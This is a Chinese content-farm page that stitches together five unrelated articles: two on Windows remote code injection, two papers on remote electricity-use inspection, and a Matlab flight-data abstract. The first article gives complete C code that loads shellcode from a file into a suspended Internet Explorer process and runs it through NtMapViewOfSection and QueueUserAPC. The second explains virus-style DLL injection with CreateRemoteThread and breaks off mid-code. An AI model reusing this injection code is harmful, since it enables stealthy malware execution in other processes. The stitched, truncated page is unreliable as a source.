欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

远程代码注入技术分析讲解

时间:2023-04-12 08:50:18 其他范文 收藏本文 下载本文

以下是小编给大家收集的远程代码注入技术分析讲解,本文共5篇,欢迎大家前来参阅。

远程代码注入技术分析讲解

篇1:远程代码注入技术分析讲解

我研究出了一种新的在远程进程中执行代码的可能性,就是利用一个未文档函数在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求,让源码说明一切:(我为我的英文水平感到抱歉,我来自德国) 复制内容到剪贴板

代码:

#define _WIN32_WINNT 0x0400

#include

typedef LONG NTSTATUS, *PNTSTATUS;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef enum _SECTION_INHERIT

{

ViewShare = 1,

ViewUnmap = 2

} SECTION_INHERIT;

typedef NTSTATUS (__stdcall *func_NtMapViewOfSection) ( HANDLE, HANDLE, LPVOID, ULONG, SIZE_T, LARGE_INTEGER*, SIZE_T*, SECTION_INHERIT, ULONG, ULONG );

func_NtMapViewOfSection NtMapViewOfSection = NULL;

LPVOID NTAPI MyMapViewOfFileEx( HANDLE hProcess, HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow,

DWORD dwNumberOfBytesToMap, LPVOID lpBaseAddress )

{

NTSTATUS Status;

LARGE_INTEGER SectionOffset;

ULONG ViewSize;

ULONG Protect;

LPVOID ViewBase;

// 转换偏移量

SectionOffset.LowPart = dwFileOffsetLow;

SectionOffset.HighPart = dwFileOffsetHigh;

// 保存大小和起始地址

ViewBase = lpBaseAddress;

ViewSize = dwNumberOfBytesToMap;

// 转换标志为NT保护属性

if (dwDesiredAccess & FILE_MAP_WRITE)

{

Protect = PAGE_READWRITE;

}

else if (dwDesiredAccess & FILE_MAP_READ)

{

Protect = PAGE_READONLY;

}

else if (dwDesiredAccess & FILE_MAP_COPY)

{

Protect = PAGE_WRITECOPY;

}

else

{

Protect = PAGE_NOACCESS;

}

//映射区段

Status = NtMapViewOfSection(hFileMappingObject,

hProcess,

&ViewBase,

0,

0,

&SectionOffset,

&ViewSize,

ViewShare,

0,

Protect);

if (!NT_SUCCESS(Status))

{

// 失败

return NULL;

}

//返回起始地址

return ViewBase;

}

int WINAPI WinMain (HINSTANCE, HINSTANCE, LPSTR, int)

{

HMODULE hDll = LoadLibrary( “ntdll.dll” );

NtMapViewOfSection = (func_NtMapViewOfSection) GetProcAddress (hDll, “NtMapViewOfSection”);

// 取ShellCode,任何你想实现的

HANDLE hFile = CreateFile (“C:\\shellcode.txt”, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE hMappedFile = CreateFileMapping (hFile, NULL, PAGE_READONLY, 0, 0, NULL);

// 启动目标进程

STARTUPINFO st;

ZeroMemory (&st, sizeof(st));

st.cb = sizeof (STARTUPINFO);

PROCESS_INFORMATION pi;

ZeroMemory (&pi, sizeof(pi));

CreateProcess (“C:\\Programme\\Internet Explorer\\iexplore.exe”, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &pi);

// 注入shellcode到目标进程地址空间

LPVOID MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE_MAP_READ, 0, 0, 0, NULL);

// 创建一个新的能够在目标线程恢复是首先执行的APC

QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL);

ResumeThread (pi.hThread);

CloseHandle (hFile);

CloseHandle (hMappedFile);

CloseHandle (pi.hThread);

CloseHandle (pi.hProcess);

return 0;

}

篇2:揭开病毒的奥秘 dll的远程注入技术详解病毒防治

dll的远程注入技术是目前win32病毒广泛使用的一种技术,使用这种技术的病毒体通常位于一个dll中,

在系统启动的时候,一个exe程序会将这个dll加载至某些系统进程(如explorer.exe)中运行。

这样一来,普通的进程管理器就很难发现这种病毒了,而且即使发现了也很难清除,

因为只要病毒寄生的进程不终止运行,那么这个dll就不会在内存中卸载,

用户也就无法在资源管理器中删除这个dll文件,真可谓一箭双雕哉。

记得qq尾巴病毒肆虐的时候,就已经有些尾巴病毒的变种在使用这种技术了。

到了初,我曾经尝试着仿真了一个qq尾巴病毒,但独是跳过了dll的远程加载技术。

直到最近在学校论坛上看到了几位朋友在探讨这一技术,便忍不住将这一尘封已久的技术从

我的记忆中拣了出来,以满足广大的技术爱好者们。

必备知识

在阅读本文之前,你需要了解以下几个api函数:

・openprocess - 用于打开要寄生的目标进程。

・virtualallocex/virtualfreeex - 用于在目标进程中分配/释放内存空间。

・writeprocessmemory - 用于在目标进程中写入要加载的dll名称。

・createremotethread - 远程加载dll的核心内容,用于控制目标进程调用api函数。

・loadlibrary - 目标进程通过调用此函数来加载病毒dll。

在此我只给出了简要的函数说明,关于函数的详细功能和介绍请参阅msdn。

示例程序

我将在以下的篇幅中用一个简单的示例virus.exe来实现这一技术。这个示例的界面如下图:

首先运行target.exe,这个文件是一个用win32 application向导生成的“hello, world”程序,

用来作为寄生的目标进程。

然后在界面的编辑控件中输入进程的名称“target.exe”,单击“注入dll”按钮,

这时候virus.exe就会将当前目录下的dll.dll注入至target.exe进程中。

在注入dll.dll之后,你也可以单击“卸载dll”来将已经注入的dll卸载。

模拟的病毒体dll.dll

这是一个简单的win32 dll程序,它仅由一个入口函数dllmain组成:

bool winapi dllmain( hinstance hinstdll, dword fdwreason, lpvoid lpvreserved )

{

switch ( fdwreason )

{

case dll_process_attach:

{

messagebox( null, _t(“dll已进入目标进程。”), _t(“信息”), mb_iconinformation );

}

break;

case dll_process_detach:

{

messagebox( null, _t(“dll已从目标进程卸载。”), _t(“信息”), mb_iconinformation );

}

break;

}

return true;

}

如你所见,这里我在dll被加载和卸载的时候调用了messagebox,这是用来显示我的远程注入/

卸载工作是否成功完成。而对于一个真正的病毒体来说,

它往往就是处理dll_process_attach事件,

在其中加入了启动病毒代码的部分:

case dll_process_attach:

{

startvirus;

}

break;

注入!

现在要开始我们的注入工作了。首先,我们需要找到目标进程:

dword findtarget( lpctstr lpszprocess )

{

dword dwret = 0;

handle hsnapshot = createtoolhelp32snapshot( th32cs_snapproces

关 键 字:病毒防治

篇3:电力营销中远程用电检查技术分析论文

电力营销就是指在经济社会不断发展当今时代,电力企业以为用电客户为提供最可靠电力保障为目标,努力为客户提供设备安全、质量可靠、价格实惠的供电服务。任何电力系统的运行,都需要完善的信息技术、网络技术作为科技支持,只有建立一个完善信息网络平台,才能对各个用户的用电信息统一进行处理,便于为用户提供更为优质的供电服务。电力营销的应用,也以为供电服务的实施提供更为精确的电力信息、更为有效的电力分析、可以实现对电力行业的统一管理,以便快速的给用户需求以回应,在最大程度上满足用户的需求。电力营销在电力企业中的应用,优化了企业的供电服务,拉近了企业与客户之间的距离,促进了企业的发展,为企业带来了更大的经济效益。远程用电监测系统主要是由用电采集系统和应用软件系统组成,他们的应用使得电力行业的发展更加的方便快捷,有效少了工作人员的工作量。例如远程抄表技术的应用,有效地避免了工作人现场抄表所需要走的路程,极大地提高了工作效率,还有远程用电设备的检测技术,可足不出户对用户的用电设备的质量进行检测,保证供电的安全性。同时也提高了电力企业对信息的采集处理,减少了工资费用,既节省了成本也加快了信息的处理、业务完成。

2远程用电检测中存在的问题

随着科学技术的发展,先进的信息技术、计算机技术等相继被应用于供电系统中,使得供电设备运行更加高效快捷,为电力行业的发展提供了动力。但是电力科技的运用同时也受到了一定的限制,信息技术的应用在实际工作中受到了一些因素的干扰。技术人员要对系统多加完备,尽最大可能排除安全隐患。从当前电力营销中远程用电检查技术的应用现状进行分析,存在的问题主要体现在技术、设备、采集终端、通信、应用等方面。技术和设备方面的问题,根据系统所处的地域、位置不同,在技术和方面上也有一些差异,所以进行跨地域远程用电系统维护难度很大。同样的,当为跨地域的用电检查和电力营销系统进行连接时,难度也是很高的。这种差异性,使得电力营销系统和远程用电监测系统无法很好的发挥功能。

篇4:电力营销中远程用电检查技术分析论文

为了更好的发挥电力营销系统和远程用电检查技术在中国电力行业发展中发挥应有的效果,更好的促进电力行业的.发展和远程用电系统的完善,需要做到方面的工作。

3.1使用统一的用电检查设备。就目前电力行业的整体情况来看,由于大多数电力企业针对自身的情况建立了独属于企业的远程用电检查系统,这些系统针对本企业的工作习惯运行良好。但在不同企业之间进行信息采集和沟通时,不同系统之间的差异性导致导致信息采集困难,采集到的信息在不同企业之间存在误读的现象,进而导致在电力检查中信息不准确。应该要求电力企业使用统一的设备,将电力检查系统和供电系统联接起来,动态化的调整电力营销系统,使远程用电检查系统能够在其运行环境中高效稳定的运行,保证其他供电设备、传输设备、处理设备都能发挥正常的功能。

3.2使用电子电表。电表是监测用户用电量的重要工具,也是一般用户能够直接接触到的电量计量工具。许多使用时间较久的电表都是直接暴露在露天环境中,常年风吹日晒,经常出现各种问题。为了更加适应现代化的电表统计工作,可以将传统电表换成电子电表。使用电子电表可以更准确的得到统计数据,并且工作稳定,可以应对一般的外界环境变化,对于用电量较大的用户,电子电表也可以实现动态化、高时效性的用电监控。

3.3合理选择通信方式。当用电检查系统找到故障信息后,故障信息能否及时传递给管理者和维护者决定了用电系统的维护效率。现有的通信技术在传输信息过程,容易受到各种外界因素影响,而各种通信技术由于本身的优缺点差异的影响,适合运作的环境有所不同。根据用电检查地点所处的外界环境特点,要有针对性选择通信方式,并对周围的环境进行适当的改造,减少对通信的干扰,降低故障出现的频率,是用电检查信息能够更快更好的传递。

3.4改革电力营销管理体系。在任何企事业单位中管理体系都是单位正常运行的重要保障,完善的管理制度,是企业各项工作顺利进行的必要条件,更重要的是它能够保证用电检测设备的高效运行。不断完善电力企业的管理制度,能够有效提高工作人员的工作效率,有利于各项工作的高效运行,更是供电设备高效供电的有力保障。

4结语

综上所述,电力营销技术具有检测用电设备质量安全的功能,可以使工作人员在远在千里之外的办公室内,对电力设备的运行状况随时进行检测,保证了供电系统的安全高效运行。为了提高电力服务质量,保证供电系统的稳定性,我们要不断加强制度建设,不断完善供电体系,排除干扰为市民提供更有力供电保证。只有这样企业才能实现长远的发展,才能不断提高自己的经济效益。

篇5:基于Matlab Web Server技术的飞行数据远程综合分析系统的实

基于Matlab Web Server技术的飞行数据远程综合分析系统的实现

Matlab Web Server 技术为基于Internet/Intranet的数据远程分析和二次开发提供了快捷而又强大的实现方法,利用此技术实现了飞行数据远程综合分析系统,并结合实例详细介绍了系统开发过程中的关键技术难点.

作 者:张林 张鹏 龚勇 ZHANG Lin ZHANG Peng GONG Yong  作者单位:空军工程大学工程学院,陕西,西安,710038 刊 名:电光与控制  ISTIC PKU英文刊名:ELECTRONICS OPTICS & CONTROL 年,卷(期):2005 12(6) 分类号:V23 TP393.02 关键词:Matlab Web Server   飞行数据   远程综合分析系统  

技术实现的远程交通信息通信

论文技术路线图-论文技术路线图设计的讲解

石油化工污水处理技术分析论文

直升机数字化装配技术分析

农田水利技术发展趋势分析论文

产品技术可行性分析报告

锂电池技术发展缓慢原因分析

网络存储安全技术分析

建筑工程施工技术分析论文

空中阁楼技术分析论文

《远程代码注入技术分析讲解(整理5篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档